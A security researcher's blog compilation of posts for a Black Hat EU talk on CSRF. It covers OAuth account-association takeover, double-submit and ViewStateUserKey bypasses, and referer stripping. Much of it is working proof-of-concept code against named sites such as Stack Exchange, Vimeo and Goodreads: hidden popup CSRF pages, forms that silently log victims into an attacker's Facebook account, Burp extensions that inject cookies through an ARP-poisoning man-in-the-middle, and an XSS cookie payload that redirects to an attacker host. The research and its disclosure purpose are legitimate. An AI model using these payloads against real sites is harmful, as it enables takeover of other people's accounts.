The Deputies are Still Confused (Full talk and content from Blackhat EU)

I’m finally posting the whole talk and all it’s content. I’ve been posting bits and stuff since March.

Here are the slides. There’s embedded media, so download for best results

Here are all the relavent/related blog posts, with code, etc. Roughly in the order of the talk:

.NET MVC AntiforgeryToken CSRF Testing
Common .NET ViewstateUserKey CSRF Issue
Stripping the Referer in a Cross Domain POST request
Common OAuth issue you can use to take over accounts
Cookie Tossing in the Middle
CSRF tips for dealing with x-frame-options

CSRF tips for dealing with x-frame-options

X-Frame-Options is becoming more and more common. With OAuth, protecting against UI redressing is even in the spec, so just creating a frame to do all your sneaky stuff won’t really work. With some of the OAuth attacks from the last few posts, the identity providers did all in fact enable x-frame-options.

How do we CSRF things that have X-Frame-Options enabled so we can’t use frames? We can always open a window, but a big popup isn’t really ideal. There are probably a lot of techniques here, but there are two options I explored, using a popunder, and just making the window jump around/hard to close.

The 2013BH tag links to all posts related to my recent Blackhat EU talk I gave in March. This is probably the last one (yeah, finally – I’m sick of talking about CSRF too) then I’ll hopefully post the whole talk finally :)

Hiding the CSRF with a popunder

In the OAuth examples I just popped up a window. It would be better if when we popped up the window, we hid it. Back in the day, you could just do something like this and it would hide the window.

function pwn() {
  win1 = fb_login();
  win1.blur();
  setTimeout("win1.close()", 5000);
  setTimeout("soundcloud_addlogin()", 5000);
}

In most browsers this doesn’t work anymore. Firefox and Chrome explicitly deny this (it was a bug here Blur results in window being lowered and some other window being raised (popunders are possible)).

However, it is still basically possible. Shady websites do this all the time, so you can just look at their code, or you can grab scripts from github https://gist.github.com/hpbuniat/1021924 :) Basically, the generic technique seems to be:

  1. On a click event
  2. On form submit
  3. open window
  4. the new window opens another window, then closes it
  5. focuses the opener window

Using this technique, we can exploit the OAuth CSRF much more ninjaly. The original soundcloud oauth (talked about here) looked something like this with a big ugly popup: http://www.youtube.com/watch?v=CmG01xprrlU

But with adding a popunder, well, it isn’t that exciting. But it’s relatively sneaky, and we’ve successfully CSRFed the page and taken over their soundcloud account. Below is a video of how the sneaky one looks.

In-your-face CSRF

Sometimes, like in the OAuth case, a CSRF takes a few seconds to complete. Sometimes even a minute or two. Techniques in the past focus mostly on hiding things, or “watching a video”. But there are a few interesting windows methods – moveTo(), moveBy(), resizeTo(), resizeBy() that, maybe in all practicality aren’t really better, but at least it’s funny.

It’s simple to create a script that CSRF’s the user, but jumps everywhere so it’s hard to close. Here it is in action:

Here’s the opener:

<html>
<head></head>
<body>
<title>In your Face</title>
<script>
function openwin() {
window.open("./randomwindow.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1");
}
</script>

<a href="#" onclick="openwin()">click here for stuff</a>
</body>
</html>

and randomwindow.html

<html>
<head></head>
<body>
<title>Google</title>
<script>
function ass() {

    var x = Math.floor((Math.random() * screen.width)-(screen.width*.5));
    var y = Math.floor((Math.random() * screen.height)-(screen.height*.5));
    window.moveBy(x,y);
    document.getElementById("updater").innerHTML += "."
}

setInterval("ass();", 200);
</script>
<div id="updater"></div>
</body>
</html>

Thanks! That’s all for now.

Cookie Tossing in the Middle

In the past I’ve talked about one way to get in the middle as an attacker and use Burp as a MiTM proxy. One very nice thing to do in this position is to write cookies. This is a small part of my Blackhat talk from March, with related posts here.

Bypassing Double Submit Cookies on Vimeo

Say, for example, you have a web app that uses double submit cookies to prevent CSRF. I talk about this too much. You can bypass this protection with XSS in a neighboring site, but here’s how to practically do it as an attacker in the middle (although there are a million ways to do this).

One example is vimeo.com. When I was checking for OAuth CSRF flaws, vimeo seemed to do pretty good. They sent a state parameter and as far as I could tell this piece was fine. But for their generic CSRF protection, I noticed they were using plain double submit cookies. So a default POST request might look like this – note how the highlighted xsrft cookie and token parameter are equal:

vimeo1

It turns out that if you change the CSRF cookie/POST parameter pair, as long as they are equal the request will go through. So for example, even though you can’t read the secret cookie/post parameters without an xss, you could set the cookie (token) equal to “a” and the post parameter (xsrft) also equal to “a”. This is classic double submit. Vimeo relies on the fact that cookies are hard to write to prevent CSRF. On the same network, we can defeat this easily even if the requests are over HTTPS and the cookies are set with “secure”. Here are the hack steps:

  1. Redirect traffic to route through my attacker box, (like with ettercap, or with python and scapy like how I show Here). The goal is to simply arp poison the network and pass through all traffic, except port 80 is redirected to localhost Burp.
  2. Write an oversimplified burp plugin that waits for a specific request on the target domain (e.g. vimeo). This is not necessarily a request initiated by the user, as we’ll be forcing the user to make this request later. If the plugin sees that request, write the xsrft cookie to a known value. Note this will even write over secure/HttpOnly cookies. Although secure can prevent a cookie from being read over HTTP, it does not prevent it being written over. Although HSTS headers can mitigate this somewhat in some browsers, unless they force HTTPS at the root domain and all subdomains, then we can probably force the app to consume our attacker cookie:

    from burp import IBurpExtender
    from burp import IHttpListener
    
    class BurpExtender(IBurpExtender, IHttpListener):
    
    	target_domain = "vimeo.com"
    	target_path = "asdfasdfasdfasdfasdfasdf"
    	target_script = (
    """HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    
    <html><head></head><body>
    <script>
    document.cookie = "xsrft=bad111bad111; domain=vimeo.com; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
    alert("Bad cookies are set for " + document.domain);
    </script>
    
    </body>
    </html>
    """)
    
    	def	registerExtenderCallbacks(self, callbacks):
    
    		self._helpers = callbacks.getHelpers()
    		callbacks.setExtensionName("Cookie Injector")
    
    		callbacks.registerHttpListener(self)
    		return
    
    	def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
    		if not messageIsRequest:
    
    			httpService = messageInfo.getHttpService()
    			# if this is our iframe, inject cookies in the response
    			if (BurpExtender.target_domain == httpService.getHost() and
    				BurpExtender.target_path in messageInfo.getRequest().tostring()):
    				print "pwned!"
    				messageInfo.setResponse(BurpExtender.target_script)
    		return
    
  3. Our attack page doesn’t totally make use of our man in the middle, but it does use it for setting the CSRF cookie. Note the iframe request to http://vimeo.com/asdfasdfasdfasdfasdfasdf – this response will be sent from the burp plugin we have in place. The rest of this attack is the same as my OAuth weakness post from a couple weaks ago. Obviously, there are a lot of improvements that could be made. If we were serious, we’d probably just wait for HTTP requests, insert Javascript into those to do our bidding for us. But this is just a demo.
    <html>
      <body>
       <script type="text/javascript">
    
       function fb_login() {
        return (window.open("./fb_login.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
      }
    
       function vimeo_addlogin() {
         return (window.open("./vimeo_submit.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
      }
    
    
       function pwn() {
         win1 = fb_login();
         //win1.close()
      }
    
       function pwn2() {
         win2 = vimeo_addlogin();
         //win1.close()
      }
    
       </script>
    
       <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p>
    
       <p>To repro:</p>
    
       <ul>
       <li>login to vimeo</li>
       <li>First the cookies need to be set for vimeo.com. This is accomplished with MiTM and the iframe below,which should alert immediately. Done?</li>
       <li>click "pwn"</li>
       <li>click "pwn2" - the easiest way to hide this is with 2 clicks</li>
       <li>An attacker now owns your vimeo account!</li>
       </ul>
    
       <!-- necessary to get cookies if we haven't visited facebook -->
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://facebook.com" sandbox></iframe>
       <!--Note this will set our vimeo cookies -->
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://vimeo.com/asdfasdfasdfasdfasdfasdf" ></iframe>
    
    
    
    
      <a href="#" onclick="pwn()">pwn</a><br />
      <a href="#" onclick="pwn2()">pwn2</a>
      </body>
    </html>
    
    

Here is the attack in action:

Logging Someone into Another site

There was some confusion on my last post with OAuth CSRF I think, about it only being a Facebook problem. I don’t believe this is true. Although Facebook should fix the CSRF on their login imo, in a variety of circumstances it’s still possible to do almost the same attack against sites using other identity providers, like Twitter, Google, etc. (even though these other ID providers don’t have CSRF in their login). One of these circumstances is if there is an XSS somewhere in an ID provider’s neighbor site (e.g. if feedburner.google.com has xss you could log someone in to your attacker Google account). Another of these circumstances is if there is a man in the middle, where you can just manufacture this xss. This is what I’m showing here.

We can modify the OAuth CSRF attack above just slightly, and a man in the middle can compromise these sites with Twitter instead of Facebook. Here are the hack steps.

  1. Redirect traffic to route through my attacker box, as illustrated Here. This simply arp poisons the network, and passes through all traffic, except port 80 is redirected to localhost Burp.
  2. Write a Burp Plugin to toss cookies similar to above. In this case, it will toss cookies into Twitter to log the victim in as the attacker
    
    from burp import IBurpExtender
    from burp import IHttpListener
    
    class BurpExtender(IBurpExtender, IHttpListener):
    
    	target_domain = "twitter.com"
    	target_path = "asdfasdfasdfasdfasdfasdf"
    	target_script = (
    """HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    
    <html><head></head><body>
    <script>
    document.cookie = "_twitter_sess=BAh7EDoJdXNlcmwrB1DcLEM6D2NyZWF0ZWRfYXRsKwh3WImrPAE6DnJldHVy%250Abl90byJlaHR0cHM6Ly9hcGkudHdpdHRlci5jb20vb2F1dGgvYXV0aGVudGlj%250AYXRlP29hdXRoX3Rva2VuPVVGQ1pYamJaUGMySzNmaFVoWHZjM0Q4ZjAyZXJN%250AUU1oZmxKc21remxrOhNzaG93X2hlbHBfbGluazA6FWluX25ld191c2VyX2Zs%250Ab3cwOgxjc3JmX2lkIiVhMzc3YWM3NjQ1ODJlOTNhODY5YjgyNDVjMjc1YTEw%250AYyIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFz%250AaHsABjoKQHVzZWR7ADoTcGFzc3dvcmRfdG9rZW4wOhBzdGF5X3NlY3VyZVQ6%250AG3Nlc3Npb25fcGFzc3dvcmRfdG9rZW4wOgdpZCIlMmU2OGZhNGVjYWY1MGUy%250AMTVkYjllOGU0MTYyMjdiNGE%253D--e649d4f0aa1f2c4108d1539caa322af0ae32c8a4;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023";
    document.cookie = "auth_token=05a111348a605f4f546e60e6584adc4d4c69eacf;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    document.cookie = "twid=u%3D1127013456%7C0skYHxGKiKD8EF9Yb1fQqI%2F5YVk%3D;Domain=.twitter;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    document.cookie = "twll=l%3D1360087643;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    alert("Bad cookies are set for " + document.domain);
    </script>
    
    </body>
    </html>
    """)
    
    	def	registerExtenderCallbacks(self, callbacks):
    
    		self._helpers = callbacks.getHelpers()
    		callbacks.setExtensionName("Cookie Injector")
    
    		callbacks.registerHttpListener(self)
    
    		return
    
    	def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
    		if not messageIsRequest:
    
    			httpService = messageInfo.getHttpService()
    			# if this is our iframe, inject cookies in the response
    			if (BurpExtender.target_domain == httpService.getHost() and
    				BurpExtender.target_path in messageInfo.getRequest().tostring()):
    				print "Twitter Cookies Tossed!"
    				messageInfo.setResponse(BurpExtender.target_script)
    		return
    
  3. Once again, continue with a nearly identical attack, but this time using Twitter as the identity provider instead of Facebook. Here is an example against Goodreads. In practice, this is essentially useless since Goodreads is over HTTP, but the same principles apply to sites over HTTPS.
    <html>
      <body>
       <script type="text/javascript">
    
       function pwn() {
         location = "http://www.goodreads.com/user/twitter_sign_in";
      }
       </script>
    
       <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p>
    
       <p>To repro:</p>
    
       <ul>
       <li>login to goodreads</li>
       <li>First the cookies need to be set for twitter. This is accomplished with MiTM and the iframe below,which should alert immediately. Done?</li>
       <li>click "pwn"</li>
       <li>An attacker now owns your goodreads account!</li>
       </ul>
    
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://twitter.com/asdfasdfasdfasdfasdfasdf" ></iframe>
    
    
      <a href="#" onclick="pwn()">pwn</a><br />
      </body>
    </html>
    
    

Here is a video of this in action. Again, what this is doing is arp poisoning the network, logging the victim in to the attacker’s twitter account, and then exploiting the OAuth CSRF. In retrospect, I should have picked on a site that uses HTTPS for better effect :)

Common OAuth issue you can use to take over accounts

TLDR; This is a post about a CSRF issue in OAuth I found where if a victim visited a malicious site while logged in, they could take over your account. At least stackexchange, woot.com, imdb, goodreads, soundcloud, myspace, foxnews, pinterest, groupon, huffingtonpost, foursquare, slideshare, kickstarter, and (sort of) vimeo were all vulnerable to this attack this year.

The 2013BH tag links to all posts related to my recent Blackhat EU talk I gave in March. Probably two more posts are coming, and I’ll post the whole talk and finished whitepaper relatively soon, unless someone else does :)

OAuth and OpenID are protocols that can allow authorization and authentication to applications in a cross domain way. It’s common for popular websites to use these protocols to allow users to login from various sources without having to have credentials for the specific site. For example, the sites I list in the tldr all allow logins from identity providers such as Facebook, twitter, or Google.

Here’s an image from Facebook on how this flow can work

fb_login

This sort of flow can be used to associate multiple accounts. For example, an application can have an account on the site, but allow users to tie their Facebook profiles as an additional login mechanism. By necessity this is a cross domain POST, and can be difficult to protect against CSRF.

Several papers have written about this in the past (http://stephensclafani.com/2011/04/06/oauth-2-0-csrf-vulnerability/, http://sso-analysis.org/) and the spec itself has a section pertaining to CSRF mitigation. The recommendation is generically to pass a state parameter to the identity provider. For this to work, it is necessary for this parameter to be unguessable and tied to the originating site session. Although theoretically these recommendations could be effective, it should come as no surprise that this is difficult to get right.

Most sites rely on the fact that a user is logged in to their own identity provider site (such as Google or Facebook). However, this trust can easily be broken. In the case of Facebook, the login is/was vulnerable to CSRF. Additionally, even if the identity provider login attempts proper CSRF protection, it’s almost always possible to force cookies and log the user in as an attacker.

The First Attack I thought of

Here’s a typical scenario. StackExchange has old accounts since the early days, but to make your life easier they want you to be able login with newer accounts, like your Facebook account. This looks like:

stackexchange

Using attacks like I’ve chatted about in the past here, here, here and here, I thought this may be vulnerable to something like this:

  1. Toss the cookies into the victim stackoverflow account
  2. The cookies used for auth may not be tied to the nonce sent to the identifier (e.g. facebook or Google)
  3. Associate the attacker’s account with the victim’s account and win!

This is kind of hard to test, since you have to map out all the cookies for each site.

Easier Attack

It turns out there’s an easier way (although above will probably be a problem for a while). Here is the easier way:

  1. Create an attacker identity provider account (e.g. Facebook)
  2. Grant the accessing application (e.g. stackoverflow) permissions to attacker Facebook
  3. Victim is logged in to accessing application.
  4. A malicious site does the following:
    1. Logs victim in to attacker’s Facebook by using CSRF on the Login, or by tossing cookies
    2. POSTs to the account association request
  5. Attacker Logs out of other sessions
  6. At this point an attacker completely controls the victim application account, and can usually perform various actions, such as deleting the other logins.

Out of all the applications tested (see below for most of them), all but one have proven vulnerable to this attack. Congratulations flickr, you’re the only site I looked at that seemed to do this without any issue :)

Stackexchange, woot.com, etc. Repro

There are a couple ways this similar vulnerability occurs, but I’ll spell out stackexchange first, since they were the first site I attempted this on. The stackexchange people were awesome – they responded in less than a day, and some dev was like “my bad”, and fixed it in just a few hours. Other sites took months to fix and never even talked to me about it really.

Here I’ve omitted things around reliability, logging the victim out, and sneakiness for the sake of simplicity (but I will cover this in a followup post soon. Really, I will, it was part of the blackhat talk too). The below repro is with Firefox inprivate mode, using Facebook. Here is a video showing what it should look like if you follow along.

Walking through the steps above with more stackexchange specific detail:

  • Create an attacker Facebook account
  • Give the application permission to the attacker’s account. Do not finish the entire flow here, just tell Facebook you want to give stackexchange access to everything

se_perm

  • Use the following script to login to Facebook. This particular technique is from Kotowicz for removing the referer on Facebook login. Note I have a more robust script that I developed after this here. Similarly, you can do attacks with other identity providers (Twitter, Google, etc) but you need to toss cookies into their domain, so it’s definitely more difficult.
//fb_login.html
 function post_without_referer() {
    // POST request, WebKit & Firefox. Data, meta & form submit trinity
   location = 'data:text/html,<html><meta http-equiv="refresh"
content="0; url=data:text/html,' +
              '<form id=dynForm method=POST
action=\'https://www.facebook.com/login.php?login_attempt=1\'>' +
              '<input type=hidden name=email value=yyy@live.com />' +
              '<input type=hidden name=pass value=xxxxxxxx/>' +
              '<input type=hidden name=default_persistent value=0 />' +
              '<input type=hidden name=timezone value=480 />' +
              '<input type=hidden name=locale value=en_US />' +
              '</form><script>document.getElementById(\'dynForm\').submit()</scri'+'pt>"></html>';
}
  post_without_referer();
  • Create an HTML page that logs in as the attacker and then ties the attacker account to the victim account.
<html>
  <body>
   <script type="text/javascript">

   function fb_login() {
    return (window.open("./fb_login.html", "_blank",
"status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
  }

   function stackexchange_addlogin() {
     document.getElementById("sForm").submit();
  }



   function pwn() {
     win1 = fb_login();
     setTimeout("stackexchange_addlogin()", 7000);
     //win1.close()
  }

   </script>

   <p>This is just meant to be a dirty/simple PoC, and makes very
little attempt at being stealthy</p>

   <p>To repro:</p>


   <ul>
   <li>login to stackexchange</li>
   <li>click "pwn"</li>
   <li>An attacker now owns your stackexchange account!</li>
   </ul>

   <!-- iframe necessary to get cookies if we haven't visited facebook 
          (needed to put a space modify to put on page)-->
    < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://facebook.com" sandbox>< /iframe>


    <form id="sForm"
action="http://stackexchange.com/users/authenticate" method="POST">
      <input type="hidden" name="oauth_version" value="2.0" />
      <input type="hidden" name="oauth_server"
value="https://graph.facebook.com/oauth/authorize"
/>
      <input type="hidden" name="openid_identifier" value="" />
    </form>



  <a href="#" onclick="pwn()">pwn</a>
  </body>
</html>

Read more of this post

Common .NET ViewstateUserKey CSRF Issue

I’ve added the 2013BH tag to all posts related to my recent Blackhat EU talk – more posts are coming, and I’ll post the whole talk and finished whitepaper relatively soon. To understand this post, reviewing MVC .NET CSRF issues and Problems with triple submit cookies may be useful.

The most common advice for mitigating CSRF in .NET web applications is to set ViewStateUserKey to sessionID. This is an extremely common CSRF defense. At the time of this writing, something like this is present in the OWASP prevention cheat sheet as well as the Microsoft SDL. The following is a snippet from OWASP.

ViewState can be used as a CSRF defense, as it is difficult for an attacker to forge a valid ViewState. It is not impossible to forge a valid ViewState since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each ViewState unique, and thus immune to CSRF.
To use the ViewStateUserKey property within the ViewState to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)
if (User.Identity.IsAuthenticated)
ViewStateUserKey = Session.SessionID; }

Unfortunately, this recommendation doesn’t always work for similar reasons to MVC. To clarify what the sessionID is: it is just a cookie, and it’s a cookie that isn’t always used for authentication. As already mentioned, most large scale sites tend to use custom authentication. Microsoft sites tend to use LiveID much more frequently than simple forms based auth. As should be obvious from the previous posts, if the sessionID isn’t used for authentication then this cookie can simply be overwritten by using an attacker cookie and an attacker ViewState. This attack is most useful with lateral escalation, meaning with one account on an application, you can CSRF other users of the application.

This is a super common problem in my experience. To illustrate this for Blackhat I wrote a sample app that’s not worth showing. It sets the ViewStateUserKey to the sessionID and uses ACS for authentication similar to how this tutorial describes (the only difference is this app uses Forms rather than MVC).

This pic shows the cookies sent immmediately after authenticating with ACS. Although ASP.NET_SessionId is automatically set, it has nothing to do with the authentication of the web application.

cookie

To understand how this attack works, perform the following steps on an ASP.net forms based application using ACS for auth.

  1. Create two users, user_victim and user_attacker where VIEWSTATE is used as a CSRF mitigation and ViewStateUserKey = SessionID.
  2. As user_attacker, capture the POST values. This will include several ASP.NET specific VIEWSTATE fields which are used to prevent CSRF. Also, capture the ASP.NET_SessionId cookie.
  3. As user_victim, replace the POST values with the values captured in request 2. This request will fail with a 500 (Validation of viewstate MAC failed), because ViewStateUserKey = SessionId. Otherwise, this could be used to exploit classic CSRF.
  4. However, if we cause the application to consume user_attacker’s ASP.NET_SessionId cookie rather than user_victim’s cookie, the request will go through.

In terms of exploitability, this is again equivalent to naïve double submit. An attacker needs the ability to write cookies (e.g. find XSS in a neighboring sub domain or be in the middle), but in many cases this is exploitable.

There are several ways to mitigate this. The most straightforward is to, after authentication, set the ViewStateUserKey to the cookies actually used to tie the user to a session. In the example above, ViewStateUserKey could be set to the FedAuth cookie. Unfortunately, this type of thing can be difficult to tie into the framework or detect with static analysis tools because these things have no way of knowing how exactly custom authentication works.

.NET MVC AntiforgeryToken CSRF Testing

Besides work being busy, I’m heads down ramping up my Blackhat EU talk, which is mostly about CSRF. I promise it’s more interesting than it sounds. I’m saving my favorite pieces for the talk, but between now and then I’ll mention a few tidbits.

A while ago, I talked about triple submit and the basics of how antiforgerytoken here. To recap, MVC is a variation of double submit that ties the POST parameter to a session identifier. In System.Web.Helpers.AntiXsrf.Validate:

public void Validate(HttpContextBase httpContext, string cookieToken, string formToken)
{
    this.CheckSSLConfig(httpContext);
    AntiForgeryToken token = this.DeserializeToken(cookieToken);
    AntiForgeryToken token2 = this.DeserializeToken(formToken);
    this._validator.ValidateTokens(httpContext, ExtractIdentity(httpContext), token, token2);
}

Then ValidateTokens contains the logic that prevents CSRF attacks

public void ValidateTokens(HttpContextBase httpContext, IIdentity identity, AntiForgeryToken sessionToken, AntiForgeryToken fieldToken)
{   
  if (sessionToken == null)
  {
    throw HttpAntiForgeryException.CreateCookieMissingException(this._config.CookieName);
  }
  if (fieldToken == null)
  {
    throw HttpAntiForgeryException.CreateFormFieldMissingException(this._config.FormFieldName);
  }
  if (!sessionToken.IsSessionToken || fieldToken.IsSessionToken)
  {
    throw HttpAntiForgeryException.CreateTokensSwappedException(this._config.CookieName, this._config.FormFieldName);
  }
  if (!object.Equals(sessionToken.SecurityToken, fieldToken.SecurityToken))
  {
    throw HttpAntiForgeryException.CreateSecurityTokenMismatchException();
  }
  string b = string.Empty;
  BinaryBlob objB = null;
  if ((identity != null) && identity.IsAuthenticated)
  {
    objB = this._claimUidExtractor.ExtractClaimUid(identity);
    if (objB == null)
    {
      b = identity.Name ?? string.Empty;
    }
  }
  bool flag = b.StartsWith("http://", StringComparison.OrdinalIgnoreCase) || b.StartsWith("https://", StringComparison.OrdinalIgnoreCase);
  if (!string.Equals(fieldToken.Username, b, flag ? StringComparison.Ordinal : StringComparison.OrdinalIgnoreCase))
  {
    throw HttpAntiForgeryException.CreateUsernameMismatchException(fieldToken.Username, b);
  }
  if (!object.Equals(fieldToken.ClaimUid, objB))
  {
    throw HttpAntiForgeryException.CreateClaimUidMismatchException();
  }
  if ((this._config.AdditionalDataProvider != null) && !this._config.AdditionalDataProvider.ValidateAdditionalData(httpContext, fieldToken.AdditionalData))
  {
     throw HttpAntiForgeryException.CreateAdditionalDataCheckFailedException();
  }
}

To make use of this CSRF prevention, Controller methods can add the ValidateAntiForgeryToken attribute. Although there are obvious mistakes that can be made, such as forgetting to add the attribute to some methods, if this is used as intended it should prevent CSRF attacks. In fact, this is what the Microsoft SDL recommends.

Unfortunately, perhaps more often than not, the ValidateToken protection is not used as intended.

One of the most common mistakes with CSRF protections in general is not tying the form/cookie pair to the user and session, and this is also the case with .NET MVC4. Although with default forms based authentication the CSRF protection is secure, there are many types of authentication – and many (if not most) real large-scale web applications will implement some type of custom authentication. A site might use Facebook, openID, gmail, Live ID, etc. – these are all supported in auth frameworks like ACS. As one example, most web applications at Microsoft do not use forms based auth, and instead use something like LiveID.

Whenever a web application uses custom authentication, the default protection can very easily break. Here is an example of an exploit that uses an XSS in a neighboring domain.

  1. Login to the application http://mvc_app.mydomain.com with a malicious account (badguy@live.com) and record the CSRF cookie and the CSRF POST parameter. These have default names like __RequestVerificationToken_Lw__ and __RequestVerificationToken__
  2. Find XSS on any other *.mydomain.com domain. Depending on the domain, this may not be difficult or even by design depending on the application.
  3. Craft the XSS to force our attacker mydomain.com cookie, and redirect to our attacker site where we can put the remainder of our JavaScript
  4. document.cookie = "__RequestVerificationToken_Lw__=j5DTuG+TakJjC7NxojmAPAuZzSVlZrR...; path= /csrfpath; domain=.mydomain.com; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
    window.location="http://evil.webstersprodigy.net/cookies/cookie.html";
    
  5. Now that the CSRF cookie is set, http://evil.webstersprodigy.net/cookies/cookie.html does the POST with our saved attacker POST verification token. After this POSTs, then the victim’s account will be updated.
  6. <html> 
    <body> 
    <form id="dynForm" action="https://mvcapp.mydomain.com/csrfpath/Edit" method="POST"> 
    <input type="hidden" name="__RequestVerificationToken" value="/onkfP/l0h8nBAX5%2BhadCSabNFq3QTnfWM0l2byt8SGYTy..." /> 
    <input type="hidden" name="Profile.FirstName" value="Bad" /> 
    <input type="hidden" name="Profile.LastName" value="Guy" /> 
    <input type="hidden" name="Profile.Email" value="evil1337@live-int.com" /> 
    <input type="hidden" name="saveAndContinueButton" value="NEXT" /> 
    </form> 
    <script type="text/javascript"> 
    alert("cookies are tossed"); 
    document.getElementById("dynForm").submit(); 
    </script> 
    </body> 
    </html>
    
    

Although the exploit is relatively complicated (you need to find an XSS in a subdomain, make sure you have all the relevant parameters encoded correctly, etc.) testing for the vulnerability is much more straightforward. This test can also be applied generically to several other protection schemes.

  1. Find the authentication cookie(s). Without this cookie, it should not be possible for a user to visit a site. For example, with LiveID it’s usually RPSSecAuth.
  2. Login as user1 and perform an action. Capture both the cookies and POST parameters, noting the parameters that are preventing CSRF. For example, with MVC4 these are usually named __RequestVerificationValue and __RequestVerificationToken
  3. Login as user2 and replace the CSRF tokens (but not auth tokens) captured in step2. If the request succeeds, then the application is vulnerable.

There are several exploitation scenarios that are essentially equivalent to those outlined in Naïve double submit. In other words, a vulnerability exists if the CSRF POST nonce is not cryptographically tied to the legitimate session.

Stripping the Referer in a Cross Domain POST request

I recently came across a POST CSRF where the referer had to be from the same origin or be absent completely. Here are the ways I know about to remove the referer. A lot of people might know this sort of thing, but I liked thinking about it. I think this might be a good interview question for web app security folks :)

HTTPS -> HTTP (works if the target is HTTP not HTTPS)

So an HTTP request to an HTTP request will have a referer, so will HTTPS to HTTPS (even cross domain). Just to cover all our bases, so will HTTP to HTTPS. This seems to be consistent across browsers.

But HTTPS sites will not send referers when POSTing/linking to HTTP. This is usually my go to for stripping referers because it’s so easy. Unfortunately, in this case, the application I was trying to exploit was only over HTTPS so this technique isn’t an option.

data: URIs (works in FF and Chrome)

Koto thought of this generic idea, and he uses the data: protocol in this excellent post. This works great, as long as you’re not attacking IE, which doesn’t seem to support the data: protocol.

<html>
  <body>
   <script type="text/javascript">
  function post_without_referer() {
    // POST request, WebKit & Firefox. Data, meta & form submit trinity
   location = 'data:text/html,<html><meta http-equiv="refresh" content="0; url=data:text/html,' +
              '<form id=dynForm method=POST action=\'https://www.example.com/login.php?login_attempt=1\'>' +
              '<input type=hidden name=email value=example@live.com />' +
              '<input type=hidden name=pass value=password />' +
              '<input type=hidden name=locale value=en_US />' +
              '</form><script>document.getElementById(\'dynForm\').submit()</scri'+'pt>"></html>';
}

   </script>

  <a href="#" onclick="post_without_referer()">POST without referer (FF,chrome)</a>
  </body>
</html>

He also includes an IE thing, but that will only work with GET requests.

CORS (doesn’t work afaik)

According to the spec at http://www.w3.org/TR/XMLHttpRequest/#anonymous-flag

referer source
If the anonymous flag is set, the URL “about:blank”, and the referrer source otherwise.

The XMLHttpRequest object has an associated anonymous flag. If the anonymous flag is set, user credentials and the source origin are not exposed when fetching resources.

In FF this is called the MozAnon flag. Unfortunately, all the browsers I’ve tested do actually send the referer by default, regardless of the flag. And even if browsers did follow the spec there are definitely some limitations. This would be a one shot deal – the response (e.g. set cookies) would not be processed because the server wouldn’t send back the proper origin stuff. Additionally, if the anon flag works, the browser won’t send cookies either (this part of the anon flag does work).

about:blank (works in everything)

Despite not working, CORS gave me an idea that turned out to work well. I had a few more tangents on my list, like 307 redirects that might work. But the thing is, the reason data: works (where it’s supported), and the reason 307 might work, and the reason CORS should have sort of worked is the fact that these things execute in the about:blank context. Because about:blank doesn’t have a domain per se, it doesn’t send a referer. The nice thing about this is we can create our own window or iframe in this context and just write to it. For example, the following will not send a referer in any browser I tested. This means we win :)

Note you have to modify slightly because wordpress snipped out my iframe in tags.

<html>
<head>
<script>
function load() {
    var postdata = '<form id=dynForm method=POST action=\'https://www.example.com/login.php?login_attempt=1\'>' +
                    '<input type=hidden name=email value=example@live.com />' +
                    '<input type=hidden name=pass value=password />' +
                    '<input type=hidden name=locale value=en_US />' +
                    '</form>';
    top.frames[0].document.body.innerHTML=postdata;
    top.frames[0].document.getElementById('dynForm').submit();
}
</script>
</head>
<body onload="load()">

< iframe src="about:blank" id="noreferer">< /iframe>


</body>
</html>


Follow

Get every new post delivered to your Inbox.

Join 39 other followers